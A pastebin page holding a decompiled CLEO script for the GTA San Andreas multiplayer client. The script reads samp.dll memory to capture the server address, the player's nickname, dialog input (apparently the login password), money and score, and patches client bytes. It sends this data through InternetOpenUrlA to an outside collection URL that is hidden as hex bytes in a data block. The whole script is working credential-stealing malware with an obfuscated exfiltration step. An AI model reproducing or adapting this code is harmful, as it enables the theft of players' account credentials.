Facebook
From Coral Hog, 5 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 231
  1. {$CLEO .cs}
  2.  
  3. //-------------MAIN---------------
  4. 0000: NOP
  5. wait 0
  6. call @Noname_1646 0
  7. call @Noname_1506 1 -38
  8. jump @Noname_1838
  9.  
  10. :Noname_38
  11. wait 0
  12. 0AA2: 31@ = load_library "kernel32.dll" // IF and SET
  13. 0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET
  14. 0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@  
  15. 0A8E: 33@ = 0@ + 47806 // int
  16. 0A8D: 32@ = read_memory 33@ size 1 virtual_protect 1
  17. if
  18.   32@ == 0
  19. else_jump @Noname_166
  20. 0A8E: 3@ = 0@ + 2173568 // int
  21.  
  22. :Noname_166
  23. if
  24.   32@ == 64
  25. else_jump @Noname_197
  26. 0A8E: 3@ = 0@ + 2173624 // int
  27.  
  28. :Noname_197
  29. 0A8D: 2@ = read_memory 3@ size 4 virtual_protect 1
  30. if
  31.   2@ > 1000
  32. else_jump @Noname_1108
  33. 0A8E: 22@ = 2@ + 985 // int
  34. 0A8D: 23@ = read_memory 22@ size 4 virtual_protect 1
  35. if
  36.   2@ > 1000
  37. else_jump @Noname_1108
  38. 0A8E: 5@ = 23@ + 20 // int
  39. 0A8D: 4@ = read_memory 5@ size 4 virtual_protect 1
  40. if
  41.   4@ > 1000
  42. else_jump @Noname_1108
  43. 0A8E: 5@ = 4@ + 34 // int
  44. 0A8D: 24@ = read_memory 5@ size 4 virtual_protect 1
  45. if
  46.   24@ > 1000
  47. else_jump @Noname_1108
  48. if
  49.   32@ == 0
  50. else_jump @Noname_383
  51. 0A8E: 22@ = 0@ + 2173504 // int
  52.  
  53. :Noname_383
  54. if
  55.   32@ == 64
  56. else_jump @Noname_414
  57. 0A8E: 22@ = 0@ + 2173560 // int
  58.  
  59. :Noname_414
  60. 0A8D: 1@ = read_memory 22@ size 4 virtual_protect 1
  61. if
  62.   1@ > 1000
  63. else_jump @Noname_1108
  64. 0A8E: 7@ = 1@ + 40 // int
  65. 0A8D: 6@ = read_memory 7@ size 4 virtual_protect 1
  66. 0A8E: 5@ = 1@ + 44 // int
  67. 0A8D: 26@ = read_memory 5@ size 4 virtual_protect 1
  68. if
  69.   6@ == 1
  70. else_jump @Noname_539
  71. if or
  72.   26@ == 1
  73.   26@ == 3
  74. else_jump @Noname_539
  75. 25@ = 1
  76.  
  77. :Noname_539
  78. if and
  79.   25@ == 1
  80.    not 6@ == 1
  81. else_jump @Noname_1108
  82. 0A8E: 7@ = 1@ + 48 // int
  83. 0A8D: 3@ = read_memory 7@ size 4 virtual_protect 1
  84. 0A8E: 6@ = 1@ + 36 // int
  85. 0A8D: 13@ = read_memory 6@ size 4 virtual_protect 1
  86. if
  87.   32@ == 0
  88. else_jump @Noname_639
  89. 0A8E: 6@ = 0@ + 617008 // int
  90.  
  91. :Noname_639
  92. if
  93.   32@ == 64
  94. else_jump @Noname_670
  95. 0A8E: 6@ = 0@ + 515232 // int
  96.  
  97. :Noname_670
  98. 0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@  
  99. 0A8E: 6@ = 4@ + 26 // int
  100. 0A8D: 23@ = read_memory 6@ size 4 virtual_protect 1
  101. 0A8E: 7@ = 4@ + 10 // int
  102. if
  103.    not 23@ >= 16
  104. else_jump @Noname_751
  105. 0085: 12@ = 7@ // (int)
  106. jump @Noname_763
  107.  
  108. :Noname_751
  109. 0A8D: 12@ = read_memory 7@ size 4 virtual_protect 1
  110.  
  111. :Noname_763
  112. wait 100
  113. 0A8E: 9@ = 2@ + 710 // int
  114. 0A8E: 14@ = 2@ + 452 // int
  115. 0A8E: 8@ = 2@ + 969 // int
  116. 0A8D: 15@ = read_memory 8@ size 4 virtual_protect 1
  117. 0A8E: 18@ = 4@ + 42 // int
  118. 0A8D: 27@ = read_memory 18@ size 4 virtual_protect 1
  119. 21@ = Player.Money($0[2])
  120. 0AC6: 0@ = label @Noname_1802 offset
  121. call @Noname_1115 0 22@ 4@ 25@ 6@ 7@ 8@ 19@ 10@
  122. alloc 20@ 1024
  123. gosub @Noname_1828
  124. alloc 20@ 456
  125. format 20@ "%sbase=%d&ip=%s:%d&serv=%s&inid=%d&inp=%s&mn=%d&score=%d&time=%d:%d&data=%d.%d&nn=%s" 0@ 28@ 14@ 15@ 9@ 3@ 5@ 21@ 27@ 7@ 8@ 6@ 4@ 12@
  126. alloc 8@ 356
  127. format 8@ ""
  128. call @Noname_1357 1 8@ 9@
  129. call @Noname_1430 2 9@ 20@
  130. free 8@
  131. free 20@
  132. 25@ = 0
  133.  
  134. :Noname_1108
  135. jump @Noname_38
  136.  
  137. :Noname_1115
  138. 0AA2: 0@ = load_library "kernel32.dll" // IF and SET
  139. 0AA4: 1@ = get_proc_address "GetLocalTime" library 0@ // IF and SET
  140. alloc 2@ 32
  141. 0AA5: call 1@ num_params 1 pop 0 2@  
  142. 0A8D: 3@ = read_memory 2@ size 2 virtual_protect 0
  143. 2@ += 2
  144. 0A8D: 4@ = read_memory 2@ size 2 virtual_protect 0
  145. 2@ += 2
  146. 0A8D: 5@ = read_memory 2@ size 2 virtual_protect 0
  147. 2@ += 2
  148. 0A8D: 6@ = read_memory 2@ size 2 virtual_protect 0
  149. 2@ += 2
  150. 0A8D: 7@ = read_memory 2@ size 2 virtual_protect 0
  151. 2@ += 2
  152. 0A8D: 8@ = read_memory 2@ size 2 virtual_protect 0
  153. 2@ += 2
  154. 0A8D: 9@ = read_memory 2@ size 2 virtual_protect 0
  155. 2@ += 2
  156. 0A8D: 10@ = read_memory 2@ size 2 virtual_protect 0
  157. 2@ -= 30
  158. ret 8 22@ 4@ 25@ 6@ 7@ 8@ 9@ 10@
  159.  
  160. :Noname_1357
  161. 0AA2: 30@ = load_library "Wininet.dll" // IF and SET
  162. 0AA4: 29@ = get_proc_address "InternetOpenA" library 30@ // IF and SET
  163. 0AA7: call_function 29@ num_params 5 pop 0 0 0 0 0 0@ 1@  
  164. ret 1 1@
  165.  
  166. :Noname_1430
  167. 0AA2: 30@ = load_library "Wininet.dll" // IF and SET
  168. 0AA4: 29@ = get_proc_address "InternetOpenUrlA" library 30@ // IF and SET
  169. 0AA7: call_function 29@ num_params 6 pop 0 0 0 0 0 1@ 0@ 2@  
  170. ret 0
  171.  
  172. :Noname_1506
  173. 0A9F: 32@ = current_thread_pointer
  174. 32@ += 16
  175. 0A8D: 32@ = read_memory 32@ size 4 virtual_protect 0
  176. 0062: 32@ -= 0@ // (int)
  177. 0AA7: call_function 4607008 num_params 1 pop 1 32@ 33@  
  178. 005A: 32@ += 0@ // (int)
  179. 33@ += 16
  180. 0A8C: write_memory 33@ size 4 value 32@ virtual_protect 0
  181. 33@ += 44
  182. 32@ = 0
  183.  
  184. :Noname_1597
  185. 0A8C: write_memory 33@ size 4 value 1@(32@,30i) virtual_protect 0
  186. 33@ += 4
  187. 32@ += 1
  188.   32@ > 30
  189. else_jump @Noname_1597
  190. ret 0
  191.  
  192. :Noname_1646
  193. 0AA2: 31@ = load_library "kernel32.dll" // IF and SET
  194. 0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET
  195. 0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@  
  196. 0@ += 371500
  197. 0A8C: write_memory 0@ size 4 value -1869574000 virtual_protect 1
  198. 0@ += 4
  199. 0A8C: write_memory 0@ size 1 value 144 virtual_protect 1
  200. 0@ += 9
  201. 0A8C: write_memory 0@ size 4 value -1869574000 virtual_protect 1
  202. 0@ += 4
  203. 0A8C: write_memory 0@ size 1 value 144 virtual_protect 1
  204. ret 0
  205.  
  206. :Noname_1802
  207. hex
  208.  68 74 74 70 3A 2F 2F 64 73 74 65 61 6C 2E 72 75
  209.  2F 61 64 64 2E 70 68 70 3F 00
  210. end
  211.  
  212. :Noname_1828
  213. 28@ = 637
  214. return
  215.  
  216. :Noname_1838
  217. end_thread